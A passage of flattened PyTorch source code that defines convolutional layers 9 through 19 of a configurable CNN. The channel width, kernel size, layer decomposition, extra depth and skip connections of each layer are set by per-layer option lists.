params[3]), stride=(params[4], params[5]), padding=(params[6], params[7])) if self.deepen_list != None: if self.deepen_list[9] == 1: self.conv9_dp = torch.nn.Conv2d(params[1], params[1], (1, 1), stride=(1, 1), padding=(0, 0)) if self.skipcon_list != None: if self.skipcon_list[9] == 1: self.conv9_sk = torch.nn.Conv2d(params[1], params[1], (params[2], params[3]), stride=(1, 1), padding=(int((params[2] - 1)/2), int((params[3] - 1)/2))) self.conv_bn9 = torch.nn.BatchNorm2d(params[1]) params = [16, 16, 3, 3, 1, 1, 1, 1] if self.widen_list != None: if self.widen_list[9] > 1.0: params[0] = int(np.floor(params[0] * self.widen_list[9] / 4) * 4) if self.widen_list[10] > 1.0: params[1] = int(np.floor(params[1] * self.widen_list[10] / 4) * 4) if self.kerneladd_list != None: if self.kerneladd_list[10] > 0: params[2] = params[2] + 2* int(self.kerneladd_list[10]) params[3] = params[3] + 2* int(self.kerneladd_list[10]) params[6] = params[6] + int(self.kerneladd_list[10]) params[7] = params[7] + int(self.kerneladd_list[10]) if self.decompo_list != None: if self.decompo_list[10] == 1: self.conv10_0 = torch.nn.Conv2d(params[0], int(params[1]/2), (params[2], params[3]), stride=(params[4], params[5]), padding=(params[6], params[7])) self.conv10_1 = torch.nn.Conv2d(params[0], int(params[1]/2), (params[2], params[3]), stride=(params[4], params[5]), padding=(params[6], params[7])) elif self.decompo_list[10] == 2: self.conv10_0 = torch.nn.Conv2d(params[0], int(params[1]/4), (params[2], params[3]), stride=(params[4], params[5]), padding=(params[6], params[7])) self.conv10_1 = torch.nn.Conv2d(params[0], int(params[1]/4), (params[2], params[3]), stride=(params[4], params[5]), padding=(params[6], params[7])) self.conv10_2 = torch.nn.Conv2d(params[0], int(params[1]/4), (params[2], params[3]), stride=(params[4], params[5]), padding=(params[6], params[7])) self.conv10_3 = torch.nn.Conv2d(params[0], int(params[1]/4), (params[2], params[3]), stride=(params[4], params[5]), padding=(params[6], params[7])) elif self.decompo_list[10] == 3: self.conv10_0 = torch.nn.Conv2d(int(params[0]/2), params[1], (params[2], params[3]), stride=(params[4], params[5]), padding=(params[6], params[7])) self.conv10_1 = torch.nn.Conv2d(int(params[0]/2), params[1], (params[2], params[3]), stride=(params[4], params[5]), padding=(params[6], params[7])) elif self.decompo_list[10] == 4: self.conv10_0 = torch.nn.Conv2d(int(params[0]/4), params[1], (params[2], params[3]), stride=(params[4], params[5]), padding=(params[6], params[7])) self.conv10_1 = torch.nn.Conv2d(int(params[0]/4), params[1], (params[2], params[3]), stride=(params[4], params[5]), padding=(params[6], params[7])) self.conv10_2 = torch.nn.Conv2d(int(params[0]/4), params[1], (params[2], params[3]), stride=(params[4], params[5]), padding=(params[6], params[7])) self.conv10_3 = torch.nn.Conv2d(int(params[0]/4), params[1], (params[2], params[3]), stride=(params[4], params[5]), padding=(params[6], params[7])) else: self.conv10 = torch.nn.Conv2d(params[0], params[1], (params[2], params[3]), stride=(params[4], params[5]), padding=(params[6], params[7])) else: self.conv10 = torch.nn.Conv2d(params[0], params[1], (params[2], params[3]), stride=(params[4], params[5]), padding=(params[6], params[7])) if self.deepen_list != None: if self.deepen_list[10] == 1: self.conv10_dp = torch.nn.Conv2d(params[1], params[1], (1, 1), stride=(1, 1), padding=(0, 0)) if self.skipcon_list != None: if self.skipcon_list[10] == 1: self.conv10_sk = torch.nn.Conv2d(params[1], params[1], (params[2], params[3]), stride=(1, 1), padding=(int((params[2] - 1)/2), int((params[3] - 1)/2))) self.conv_bn10 = torch.nn.BatchNorm2d(params[1]) params = [16, 32, 3, 3, 2, 2, 1, 1] if self.widen_list != None: if self.widen_list[10] > 1.0: params[0] = int(np.floor(params[0] * self.widen_list[10] / 4) * 4) if self.widen_list[11] > 1.0: params[1] = int(np.floor(params[1] * self.widen_list[11] / 4) * 4) if self.kerneladd_list != None: if self.kerneladd_list[11] > 0: params[2] = params[2] + 2* int(self.kerneladd_list[11]) params[3] = params[3] + 2* int(self.kerneladd_list[11]) params[6] = params[6] + int(self.kerneladd_list[11]) params[7] = params[7] + int(self.kerneladd_list[11]) if self.decompo_list != None: if self.decompo_list[11] == 1: self.conv11_0 = torch.nn.Conv2d(params[0], int(params[1]/2), (params[2], params[3]), stride=(params[4], params[5]), padding=(params[6], params[7])) self.conv11_1 = torch.nn.Conv2d(params[0], int(params[1]/2), (params[2], params[3]), stride=(params[4], params[5]), padding=(params[6], params[7])) elif self.decompo_list[11] == 2: self.conv11_0 = torch.nn.Conv2d(params[0], int(params[1]/4), (params[2], params[3]), stride=(params[4], params[5]), padding=(params[6], params[7])) self.conv11_1 = torch.nn.Conv2d(params[0], int(params[1]/4), (params[2], params[3]), stride=(params[4], params[5]), padding=(params[6], params[7])) self.conv11_2 = torch.nn.Conv2d(params[0], int(params[1]/4), (params[2], params[3]), stride=(params[4], params[5]), padding=(params[6], params[7])) self.conv11_3 = torch.nn.Conv2d(params[0], int(params[1]/4), (params[2], params[3]), stride=(params[4], params[5]), padding=(params[6], params[7])) elif self.decompo_list[11] == 3: self.conv11_0 = torch.nn.Conv2d(int(params[0]/2), params[1], (params[2], params[3]), stride=(params[4], params[5]), padding=(params[6], params[7])) self.conv11_1 = torch.nn.Conv2d(int(params[0]/2), params[1], (params[2], params[3]), stride=(params[4], params[5]), padding=(params[6], params[7])) elif self.decompo_list[11] == 4: self.conv11_0 = torch.nn.Conv2d(int(params[0]/4), params[1], (params[2], params[3]), stride=(params[4], params[5]), padding=(params[6], params[7])) self.conv11_1 = torch.nn.Conv2d(int(params[0]/4), params[1], (params[2], params[3]), stride=(params[4], params[5]), padding=(params[6], params[7])) self.conv11_2 = torch.nn.Conv2d(int(params[0]/4), params[1], (params[2], params[3]), stride=(params[4], params[5]), padding=(params[6], params[7])) self.conv11_3 = torch.nn.Conv2d(int(params[0]/4), params[1], (params[2], params[3]), stride=(params[4], params[5]), padding=(params[6], params[7])) else: self.conv11 = torch.nn.Conv2d(params[0], params[1], (params[2], params[3]), stride=(params[4], params[5]), padding=(params[6], params[7])) else: self.conv11 = torch.nn.Conv2d(params[0], params[1], (params[2], params[3]), stride=(params[4], params[5]), padding=(params[6], params[7])) if self.deepen_list != None: if self.deepen_list[11] == 1: self.conv11_dp = torch.nn.Conv2d(params[1], params[1], (1, 1), stride=(1, 1), padding=(0, 0)) if self.skipcon_list != None: if self.skipcon_list[11] == 1: self.conv11_sk = torch.nn.Conv2d(params[1], params[1], (params[2], params[3]), stride=(1, 1), padding=(int((params[2] - 1)/2), int((params[3] - 1)/2))) self.conv_bn11 = torch.nn.BatchNorm2d(params[1]) params = [32, 32, 3, 3, 1, 1, 1, 1] if self.widen_list != None: if self.widen_list[11] > 1.0: params[0] = int(np.floor(params[0] * self.widen_list[11] / 4) * 4) if self.widen_list[12] > 1.0: params[1] = int(np.floor(params[1] * self.widen_list[12] / 4) * 4) if self.kerneladd_list != None: if self.kerneladd_list[12] > 0: params[2] = params[2] + 2* int(self.kerneladd_list[12]) params[3] = params[3] + 2* int(self.kerneladd_list[12]) params[6] = params[6] + int(self.kerneladd_list[12]) params[7] = params[7] + int(self.kerneladd_list[12]) if self.decompo_list != None: if self.decompo_list[12] == 1: self.conv12_0 = torch.nn.Conv2d(params[0], int(params[1]/2), (params[2], params[3]), stride=(params[4], params[5]), padding=(params[6], params[7])) self.conv12_1 = torch.nn.Conv2d(params[0], int(params[1]/2), (params[2], params[3]), stride=(params[4], params[5]), padding=(params[6], params[7])) elif self.decompo_list[12] == 2: self.conv12_0 = torch.nn.Conv2d(params[0], int(params[1]/4), (params[2], params[3]), stride=(params[4], params[5]), padding=(params[6], params[7])) self.conv12_1 = torch.nn.Conv2d(params[0], int(params[1]/4), (params[2], params[3]), stride=(params[4], params[5]), padding=(params[6], params[7])) self.conv12_2 = torch.nn.Conv2d(params[0], int(params[1]/4), (params[2], params[3]), stride=(params[4], params[5]), padding=(params[6], params[7])) self.conv12_3 = torch.nn.Conv2d(params[0], int(params[1]/4), (params[2], params[3]), stride=(params[4], params[5]), padding=(params[6], params[7])) elif self.decompo_list[12] == 3: self.conv12_0 = torch.nn.Conv2d(int(params[0]/2), params[1], (params[2], params[3]), stride=(params[4], params[5]), padding=(params[6], params[7])) self.conv12_1 = torch.nn.Conv2d(int(params[0]/2), params[1], (params[2], params[3]), stride=(params[4], params[5]), padding=(params[6], params[7])) elif self.decompo_list[12] == 4: self.conv12_0 = torch.nn.Conv2d(int(params[0]/4), params[1], (params[2], params[3]), stride=(params[4], params[5]), padding=(params[6], params[7])) self.conv12_1 = torch.nn.Conv2d(int(params[0]/4), params[1], (params[2], params[3]), stride=(params[4], params[5]), padding=(params[6], params[7])) self.conv12_2 = torch.nn.Conv2d(int(params[0]/4), params[1], (params[2], params[3]), stride=(params[4], params[5]), padding=(params[6], params[7])) self.conv12_3 = torch.nn.Conv2d(int(params[0]/4), params[1], (params[2], params[3]), stride=(params[4], params[5]), padding=(params[6], params[7])) else: self.conv12 = torch.nn.Conv2d(params[0], params[1], (params[2], params[3]), stride=(params[4], params[5]), padding=(params[6], params[7])) else: self.conv12 = torch.nn.Conv2d(params[0], params[1], (params[2], params[3]), stride=(params[4], params[5]), padding=(params[6], params[7])) if self.deepen_list != None: if self.deepen_list[12] == 1: self.conv12_dp = torch.nn.Conv2d(params[1], params[1], (1, 1), stride=(1, 1), padding=(0, 0)) if self.skipcon_list != None: if self.skipcon_list[12] == 1: self.conv12_sk = torch.nn.Conv2d(params[1], params[1], (params[2], params[3]), stride=(1, 1), padding=(int((params[2] - 1)/2), int((params[3] - 1)/2))) self.conv_bn12 = torch.nn.BatchNorm2d(params[1]) params = [16, 32, 1, 1, 2, 2, 0, 0] if self.widen_list != None: if self.widen_list[12] > 1.0: params[0] = int(np.floor(params[0] * self.widen_list[12] / 4) * 4) if self.widen_list[13] > 1.0: params[1] = int(np.floor(params[1] * self.widen_list[13] / 4) * 4) if self.kerneladd_list != None: if self.kerneladd_list[13] > 0: params[2] = params[2] + 2* int(self.kerneladd_list[13]) params[3] = params[3] + 2* int(self.kerneladd_list[13]) params[6] = params[6] + int(self.kerneladd_list[13]) params[7] = params[7] + int(self.kerneladd_list[13]) if self.decompo_list != None: if self.decompo_list[13] == 1: self.conv13_0 = torch.nn.Conv2d(params[0], int(params[1]/2), (params[2], params[3]), stride=(params[4], params[5]), padding=(params[6], params[7])) self.conv13_1 = torch.nn.Conv2d(params[0], int(params[1]/2), (params[2], params[3]), stride=(params[4], params[5]), padding=(params[6], params[7])) elif self.decompo_list[13] == 2: self.conv13_0 = torch.nn.Conv2d(params[0], int(params[1]/4), (params[2], params[3]), stride=(params[4], params[5]), padding=(params[6], params[7])) self.conv13_1 = torch.nn.Conv2d(params[0], int(params[1]/4), (params[2], params[3]), stride=(params[4], params[5]), padding=(params[6], params[7])) self.conv13_2 = torch.nn.Conv2d(params[0], int(params[1]/4), (params[2], params[3]), stride=(params[4], params[5]), padding=(params[6], params[7])) self.conv13_3 = torch.nn.Conv2d(params[0], int(params[1]/4), (params[2], params[3]), stride=(params[4], params[5]), padding=(params[6], params[7])) elif self.decompo_list[13] == 3: self.conv13_0 = torch.nn.Conv2d(int(params[0]/2), params[1], (params[2], params[3]), stride=(params[4], params[5]), padding=(params[6], params[7])) self.conv13_1 = torch.nn.Conv2d(int(params[0]/2), params[1], (params[2], params[3]), stride=(params[4], params[5]), padding=(params[6], params[7])) elif self.decompo_list[13] == 4: self.conv13_0 = torch.nn.Conv2d(int(params[0]/4), params[1], (params[2], params[3]), stride=(params[4], params[5]), padding=(params[6], params[7])) self.conv13_1 = torch.nn.Conv2d(int(params[0]/4), params[1], (params[2], params[3]), stride=(params[4], params[5]), padding=(params[6], params[7])) self.conv13_2 = torch.nn.Conv2d(int(params[0]/4), params[1], (params[2], params[3]), stride=(params[4], params[5]), padding=(params[6], params[7])) self.conv13_3 = torch.nn.Conv2d(int(params[0]/4), params[1], (params[2], params[3]), stride=(params[4], params[5]), padding=(params[6], params[7])) else: self.conv13 = torch.nn.Conv2d(params[0], params[1], (params[2], params[3]), stride=(params[4], params[5]), padding=(params[6], params[7])) else: self.conv13 = torch.nn.Conv2d(params[0], params[1], (params[2], params[3]), stride=(params[4], params[5]), padding=(params[6], params[7])) if self.deepen_list != None: if self.deepen_list[13] == 1: self.conv13_dp = torch.nn.Conv2d(params[1], params[1], (1, 1), stride=(1, 1), padding=(0, 0)) if self.skipcon_list != None: if self.skipcon_list[13] == 1: self.conv13_sk = torch.nn.Conv2d(params[1], params[1], (params[2], params[3]), stride=(1, 1), padding=(int((params[2] - 1)/2), int((params[3] - 1)/2))) self.conv_bn13 = torch.nn.BatchNorm2d(params[1]) params = [32, 32, 3, 3, 1, 1, 1, 1] if self.widen_list != None: if self.widen_list[13] > 1.0: params[0] = int(np.floor(params[0] * self.widen_list[13] / 4) * 4) if self.widen_list[14] > 1.0: params[1] = int(np.floor(params[1] * self.widen_list[14] / 4) * 4) if self.kerneladd_list != None: if self.kerneladd_list[14] > 0: params[2] = params[2] + 2* int(self.kerneladd_list[14]) params[3] = params[3] + 2* int(self.kerneladd_list[14]) params[6] = params[6] + int(self.kerneladd_list[14]) params[7] = params[7] + int(self.kerneladd_list[14]) if self.decompo_list != None: if self.decompo_list[14] == 1: self.conv14_0 = torch.nn.Conv2d(params[0], int(params[1]/2), (params[2], params[3]), stride=(params[4], params[5]), padding=(params[6], params[7])) self.conv14_1 = torch.nn.Conv2d(params[0], int(params[1]/2), (params[2], params[3]), stride=(params[4], params[5]), padding=(params[6], params[7])) elif self.decompo_list[14] == 2: self.conv14_0 = torch.nn.Conv2d(params[0], int(params[1]/4), (params[2], params[3]), stride=(params[4], params[5]), padding=(params[6], params[7])) self.conv14_1 = torch.nn.Conv2d(params[0], int(params[1]/4), (params[2], params[3]), stride=(params[4], params[5]), padding=(params[6], params[7])) self.conv14_2 = torch.nn.Conv2d(params[0], int(params[1]/4), (params[2], params[3]), stride=(params[4], params[5]), padding=(params[6], params[7])) self.conv14_3 = torch.nn.Conv2d(params[0], int(params[1]/4), (params[2], params[3]), stride=(params[4], params[5]), padding=(params[6], params[7])) elif self.decompo_list[14] == 3: self.conv14_0 = torch.nn.Conv2d(int(params[0]/2), params[1], (params[2], params[3]), stride=(params[4], params[5]), padding=(params[6], params[7])) self.conv14_1 = torch.nn.Conv2d(int(params[0]/2), params[1], (params[2], params[3]), stride=(params[4], params[5]), padding=(params[6], params[7])) elif self.decompo_list[14] == 4: self.conv14_0 = torch.nn.Conv2d(int(params[0]/4), params[1], (params[2], params[3]), stride=(params[4], params[5]), padding=(params[6], params[7])) self.conv14_1 = torch.nn.Conv2d(int(params[0]/4), params[1], (params[2], params[3]), stride=(params[4], params[5]), padding=(params[6], params[7])) self.conv14_2 = torch.nn.Conv2d(int(params[0]/4), params[1], (params[2], params[3]), stride=(params[4], params[5]), padding=(params[6], params[7])) self.conv14_3 = torch.nn.Conv2d(int(params[0]/4), params[1], (params[2], params[3]), stride=(params[4], params[5]), padding=(params[6], params[7])) else: self.conv14 = torch.nn.Conv2d(params[0], params[1], (params[2], params[3]), stride=(params[4], params[5]), padding=(params[6], params[7])) else: self.conv14 = torch.nn.Conv2d(params[0], params[1], (params[2], params[3]), stride=(params[4], params[5]), padding=(params[6], params[7])) if self.deepen_list != None: if self.deepen_list[14] == 1: self.conv14_dp = torch.nn.Conv2d(params[1], params[1], (1, 1), stride=(1, 1), padding=(0, 0)) if self.skipcon_list != None: if self.skipcon_list[14] == 1: self.conv14_sk = torch.nn.Conv2d(params[1], params[1], (params[2], params[3]), stride=(1, 1), padding=(int((params[2] - 1)/2), int((params[3] - 1)/2))) self.conv_bn14 = torch.nn.BatchNorm2d(params[1]) params = [32, 32, 3, 3, 1, 1, 1, 1] if self.widen_list != None: if self.widen_list[14] > 1.0: params[0] = int(np.floor(params[0] * self.widen_list[14] / 4) * 4) if self.widen_list[15] > 1.0: params[1] = int(np.floor(params[1] * self.widen_list[15] / 4) * 4) if self.kerneladd_list != None: if self.kerneladd_list[15] > 0: params[2] = params[2] + 2* int(self.kerneladd_list[15]) params[3] = params[3] + 2* int(self.kerneladd_list[15]) params[6] = params[6] + int(self.kerneladd_list[15]) params[7] = params[7] + int(self.kerneladd_list[15]) if self.decompo_list != None: if self.decompo_list[15] == 1: self.conv15_0 = torch.nn.Conv2d(params[0], int(params[1]/2), (params[2], params[3]), stride=(params[4], params[5]), padding=(params[6], params[7])) self.conv15_1 = torch.nn.Conv2d(params[0], int(params[1]/2), (params[2], params[3]), stride=(params[4], params[5]), padding=(params[6], params[7])) elif self.decompo_list[15] == 2: self.conv15_0 = torch.nn.Conv2d(params[0], int(params[1]/4), (params[2], params[3]), stride=(params[4], params[5]), padding=(params[6], params[7])) self.conv15_1 = torch.nn.Conv2d(params[0], int(params[1]/4), (params[2], params[3]), stride=(params[4], params[5]), padding=(params[6], params[7])) self.conv15_2 = torch.nn.Conv2d(params[0], int(params[1]/4), (params[2], params[3]), stride=(params[4], params[5]), padding=(params[6], params[7])) self.conv15_3 = torch.nn.Conv2d(params[0], int(params[1]/4), (params[2], params[3]), stride=(params[4], params[5]), padding=(params[6], params[7])) elif self.decompo_list[15] == 3: self.conv15_0 = torch.nn.Conv2d(int(params[0]/2), params[1], (params[2], params[3]), stride=(params[4], params[5]), padding=(params[6], params[7])) self.conv15_1 = torch.nn.Conv2d(int(params[0]/2), params[1], (params[2], params[3]), stride=(params[4], params[5]), padding=(params[6], params[7])) elif self.decompo_list[15] == 4: self.conv15_0 = torch.nn.Conv2d(int(params[0]/4), params[1], (params[2], params[3]), stride=(params[4], params[5]), padding=(params[6], params[7])) self.conv15_1 = torch.nn.Conv2d(int(params[0]/4), params[1], (params[2], params[3]), stride=(params[4], params[5]), padding=(params[6], params[7])) self.conv15_2 = torch.nn.Conv2d(int(params[0]/4), params[1], (params[2], params[3]), stride=(params[4], params[5]), padding=(params[6], params[7])) self.conv15_3 = torch.nn.Conv2d(int(params[0]/4), params[1], (params[2], params[3]), stride=(params[4], params[5]), padding=(params[6], params[7])) else: self.conv15 = torch.nn.Conv2d(params[0], params[1], (params[2], params[3]), stride=(params[4], params[5]), padding=(params[6], params[7])) else: self.conv15 = torch.nn.Conv2d(params[0], params[1], (params[2], params[3]), stride=(params[4], params[5]), padding=(params[6], params[7])) if self.deepen_list != None: if self.deepen_list[15] == 1: self.conv15_dp = torch.nn.Conv2d(params[1], params[1], (1, 1), stride=(1, 1), padding=(0, 0)) if self.skipcon_list != None: if self.skipcon_list[15] == 1: self.conv15_sk = torch.nn.Conv2d(params[1], params[1], (params[2], params[3]), stride=(1, 1), padding=(int((params[2] - 1)/2), int((params[3] - 1)/2))) self.conv_bn15 = torch.nn.BatchNorm2d(params[1]) params = [32, 32, 3, 3, 1, 1, 1, 1] if self.widen_list != None: if self.widen_list[15] > 1.0: params[0] = int(np.floor(params[0] * self.widen_list[15] / 4) * 4) if self.widen_list[16] > 1.0: params[1] = int(np.floor(params[1] * self.widen_list[16] / 4) * 4) if self.kerneladd_list != None: if self.kerneladd_list[16] > 0: params[2] = params[2] + 2* int(self.kerneladd_list[16]) params[3] = params[3] + 2* int(self.kerneladd_list[16]) params[6] = params[6] + int(self.kerneladd_list[16]) params[7] = params[7] + int(self.kerneladd_list[16]) if self.decompo_list != None: if self.decompo_list[16] == 1: self.conv16_0 = torch.nn.Conv2d(params[0], int(params[1]/2), (params[2], params[3]), stride=(params[4], params[5]), padding=(params[6], params[7])) self.conv16_1 = torch.nn.Conv2d(params[0], int(params[1]/2), (params[2], params[3]), stride=(params[4], params[5]), padding=(params[6], params[7])) elif self.decompo_list[16] == 2: self.conv16_0 = torch.nn.Conv2d(params[0], int(params[1]/4), (params[2], params[3]), stride=(params[4], params[5]), padding=(params[6], params[7])) self.conv16_1 = torch.nn.Conv2d(params[0], int(params[1]/4), (params[2], params[3]), stride=(params[4], params[5]), padding=(params[6], params[7])) self.conv16_2 = torch.nn.Conv2d(params[0], int(params[1]/4), (params[2], params[3]), stride=(params[4], params[5]), padding=(params[6], params[7])) self.conv16_3 = torch.nn.Conv2d(params[0], int(params[1]/4), (params[2], params[3]), stride=(params[4], params[5]), padding=(params[6], params[7])) elif self.decompo_list[16] == 3: self.conv16_0 = torch.nn.Conv2d(int(params[0]/2), params[1], (params[2], params[3]), stride=(params[4], params[5]), padding=(params[6], params[7])) self.conv16_1 = torch.nn.Conv2d(int(params[0]/2), params[1], (params[2], params[3]), stride=(params[4], params[5]), padding=(params[6], params[7])) elif self.decompo_list[16] == 4: self.conv16_0 = torch.nn.Conv2d(int(params[0]/4), params[1], (params[2], params[3]), stride=(params[4], params[5]), padding=(params[6], params[7])) self.conv16_1 = torch.nn.Conv2d(int(params[0]/4), params[1], (params[2], params[3]), stride=(params[4], params[5]), padding=(params[6], params[7])) self.conv16_2 = torch.nn.Conv2d(int(params[0]/4), params[1], (params[2], params[3]), stride=(params[4], params[5]), padding=(params[6], params[7])) self.conv16_3 = torch.nn.Conv2d(int(params[0]/4), params[1], (params[2], params[3]), stride=(params[4], params[5]), padding=(params[6], params[7])) else: self.conv16 = torch.nn.Conv2d(params[0], params[1], (params[2], params[3]), stride=(params[4], params[5]), padding=(params[6], params[7])) else: self.conv16 = torch.nn.Conv2d(params[0], params[1], (params[2], params[3]), stride=(params[4], params[5]), padding=(params[6], params[7])) if self.deepen_list != None: if self.deepen_list[16] == 1: self.conv16_dp = torch.nn.Conv2d(params[1], params[1], (1, 1), stride=(1, 1), padding=(0, 0)) if self.skipcon_list != None: if self.skipcon_list[16] == 1: self.conv16_sk = torch.nn.Conv2d(params[1], params[1], (params[2], params[3]), stride=(1, 1), padding=(int((params[2] - 1)/2), int((params[3] - 1)/2))) self.conv_bn16 = torch.nn.BatchNorm2d(params[1]) params = [32, 32, 3, 3, 1, 1, 1, 1] if self.widen_list != None: if self.widen_list[16] > 1.0: params[0] = int(np.floor(params[0] * self.widen_list[16] / 4) * 4) if self.widen_list[17] > 1.0: params[1] = int(np.floor(params[1] * self.widen_list[17] / 4) * 4) if self.kerneladd_list != None: if self.kerneladd_list[17] > 0: params[2] = params[2] + 2* int(self.kerneladd_list[17]) params[3] = params[3] + 2* int(self.kerneladd_list[17]) params[6] = params[6] + int(self.kerneladd_list[17]) params[7] = params[7] + int(self.kerneladd_list[17]) if self.decompo_list != None: if self.decompo_list[17] == 1: self.conv17_0 = torch.nn.Conv2d(params[0], int(params[1]/2), (params[2], params[3]), stride=(params[4], params[5]), padding=(params[6], params[7])) self.conv17_1 = torch.nn.Conv2d(params[0], int(params[1]/2), (params[2], params[3]), stride=(params[4], params[5]), padding=(params[6], params[7])) elif self.decompo_list[17] == 2: self.conv17_0 = torch.nn.Conv2d(params[0], int(params[1]/4), (params[2], params[3]), stride=(params[4], params[5]), padding=(params[6], params[7])) self.conv17_1 = torch.nn.Conv2d(params[0], int(params[1]/4), (params[2], params[3]), stride=(params[4], params[5]), padding=(params[6], params[7])) self.conv17_2 = torch.nn.Conv2d(params[0], int(params[1]/4), (params[2], params[3]), stride=(params[4], params[5]), padding=(params[6], params[7])) self.conv17_3 = torch.nn.Conv2d(params[0], int(params[1]/4), (params[2], params[3]), stride=(params[4], params[5]), padding=(params[6], params[7])) elif self.decompo_list[17] == 3: self.conv17_0 = torch.nn.Conv2d(int(params[0]/2), params[1], (params[2], params[3]), stride=(params[4], params[5]), padding=(params[6], params[7])) self.conv17_1 = torch.nn.Conv2d(int(params[0]/2), params[1], (params[2], params[3]), stride=(params[4], params[5]), padding=(params[6], params[7])) elif self.decompo_list[17] == 4: self.conv17_0 = torch.nn.Conv2d(int(params[0]/4), params[1], (params[2], params[3]), stride=(params[4], params[5]), padding=(params[6], params[7])) self.conv17_1 = torch.nn.Conv2d(int(params[0]/4), params[1], (params[2], params[3]), stride=(params[4], params[5]), padding=(params[6], params[7])) self.conv17_2 = torch.nn.Conv2d(int(params[0]/4), params[1], (params[2], params[3]), stride=(params[4], params[5]), padding=(params[6], params[7])) self.conv17_3 = torch.nn.Conv2d(int(params[0]/4), params[1], (params[2], params[3]), stride=(params[4], params[5]), padding=(params[6], params[7])) else: self.conv17 = torch.nn.Conv2d(params[0], params[1], (params[2], params[3]), stride=(params[4], params[5]), padding=(params[6], params[7])) else: self.conv17 = torch.nn.Conv2d(params[0], params[1], (params[2], params[3]), stride=(params[4], params[5]), padding=(params[6], params[7])) if self.deepen_list != None: if self.deepen_list[17] == 1: self.conv17_dp = torch.nn.Conv2d(params[1], params[1], (1, 1), stride=(1, 1), padding=(0, 0)) if self.skipcon_list != None: if self.skipcon_list[17] == 1: self.conv17_sk = torch.nn.Conv2d(params[1], params[1], (params[2], params[3]), stride=(1, 1), padding=(int((params[2] - 1)/2), int((params[3] - 1)/2))) self.conv_bn17 = torch.nn.BatchNorm2d(params[1]) params = [32, 32, 3, 3, 1, 1, 1, 1] if self.widen_list != None: if self.widen_list[17] > 1.0: params[0] = int(np.floor(params[0] * self.widen_list[17] / 4) * 4) if self.widen_list[18] > 1.0: params[1] = int(np.floor(params[1] * self.widen_list[18] / 4) * 4) if self.kerneladd_list != None: if self.kerneladd_list[18] > 0: params[2] = params[2] + 2* int(self.kerneladd_list[18]) params[3] = params[3] + 2* int(self.kerneladd_list[18]) params[6] = params[6] + int(self.kerneladd_list[18]) params[7] = params[7] + int(self.kerneladd_list[18]) if self.decompo_list != None: if self.decompo_list[18] == 1: self.conv18_0 = torch.nn.Conv2d(params[0], int(params[1]/2), (params[2], params[3]), stride=(params[4], params[5]), padding=(params[6], params[7])) self.conv18_1 = torch.nn.Conv2d(params[0], int(params[1]/2), (params[2], params[3]), stride=(params[4], params[5]), padding=(params[6], params[7])) elif self.decompo_list[18] == 2: self.conv18_0 = torch.nn.Conv2d(params[0], int(params[1]/4), (params[2], params[3]), stride=(params[4], params[5]), padding=(params[6], params[7])) self.conv18_1 = torch.nn.Conv2d(params[0], int(params[1]/4), (params[2], params[3]), stride=(params[4], params[5]), padding=(params[6], params[7])) self.conv18_2 = torch.nn.Conv2d(params[0], int(params[1]/4), (params[2], params[3]), stride=(params[4], params[5]), padding=(params[6], params[7])) self.conv18_3 = torch.nn.Conv2d(params[0], int(params[1]/4), (params[2], params[3]), stride=(params[4], params[5]), padding=(params[6], params[7])) elif self.decompo_list[18] == 3: self.conv18_0 = torch.nn.Conv2d(int(params[0]/2), params[1], (params[2], params[3]), stride=(params[4], params[5]), padding=(params[6], params[7])) self.conv18_1 = torch.nn.Conv2d(int(params[0]/2), params[1], (params[2], params[3]), stride=(params[4], params[5]), padding=(params[6], params[7])) elif self.decompo_list[18] == 4: self.conv18_0 = torch.nn.Conv2d(int(params[0]/4), params[1], (params[2], params[3]), stride=(params[4], params[5]), padding=(params[6], params[7])) self.conv18_1 = torch.nn.Conv2d(int(params[0]/4), params[1], (params[2], params[3]), stride=(params[4], params[5]), padding=(params[6], params[7])) self.conv18_2 = torch.nn.Conv2d(int(params[0]/4), params[1], (params[2], params[3]), stride=(params[4], params[5]), padding=(params[6], params[7])) self.conv18_3 = torch.nn.Conv2d(int(params[0]/4), params[1], (params[2], params[3]), stride=(params[4], params[5]), padding=(params[6], params[7])) else: self.conv18 = torch.nn.Conv2d(params[0], params[1], (params[2], params[3]), stride=(params[4], params[5]), padding=(params[6], params[7])) else: self.conv18 = torch.nn.Conv2d(params[0], params[1], (params[2], params[3]), stride=(params[4], params[5]), padding=(params[6], params[7])) if self.deepen_list != None: if self.deepen_list[18] == 1: self.conv18_dp = torch.nn.Conv2d(params[1], params[1], (1, 1), stride=(1, 1), padding=(0, 0)) if self.skipcon_list != None: if self.skipcon_list[18] == 1: self.conv18_sk = torch.nn.Conv2d(params[1], params[1], (params[2], params[3]), stride=(1, 1), padding=(int((params[2] - 1)/2), int((params[3] - 1)/2))) self.conv_bn18 = torch.nn.BatchNorm2d(params[1]) params = [32, 32, 3, 3, 1, 1, 1, 1] if self.widen_list != None: if self.widen_list[18] > 1.0: params[0] = int(np.floor(params[0] * self.widen_list[18] / 4) * 4) if self.widen_list[19] > 1.0: params[1] = int(np.floor(params[1] * self.widen_list[19] / 4) * 4) if self.kerneladd_list != None: if self.kerneladd_list[19] > 0: params[2] = params[2] + 2* int(self.kerneladd_list[19]) params[3] = params[3] + 2* int(self.kerneladd_list[19]) params[6] = params[6] + int(self.kerneladd_list[19]) params[7] = params[7] + int(self.kerneladd_list[19]) if self.decompo_list != None: if self.decompo_list[19] == 1: self.conv19_0 = torch.nn.Conv2d(params[0], int(params[1]/2), (params[2], params[3]), stride=(params[4], params[5]), padding=(params[6], params[7])) self.conv19_1 = torch.nn.Conv2d(params[0], int(params[1]/2), (params[2], params[3]), stride=(params[4], params[5]), padding=(params[6], params[7])) elif self.decompo_list[19] == 2: self.conv19_0 = torch.nn.Conv2d(params[0], int(params[1]/4), (params[2], params[3]), stride=(params[4], params[5]), padding=(params[6], params[7])) self.conv19_1 = torch.nn.Conv2d(params[0], int(params[1]/4), (params[2], params[3]), stride=(params[4], params[5]), padding=(params[6], params[7])) self.conv19_2 = torch.nn.Conv2d(params[0], int(params[1]/4), (params[2], params[3]), stride=(params[4], params[5]), padding=(params[6], params[7])) self.conv19_3 = torch.nn.Conv2d(params[0], int(params[1]/4), (params[2], params[3]), stride=(params[4], params[5]), padding=(params[6], params[7])) elif self.decompo_list[19] == 3: self.conv19_0 = torch.nn.Conv2d(int(params[0]/2), params[1], (params[2], params[3]), stride=(params[4], params[5]), padding=(params[6], params[7])) self.conv19_1 = torch.nn.Conv2d(int(params[0]/2), params[1], (params[2], params[3]), stride=(params[4], params[5]), padding=(params[6], params[7])) elif self.decompo_list[19] == 4: self.conv19_0 = torch.nn.Conv2d(int(params[0]/4), params[1], (params[2], params[3]), 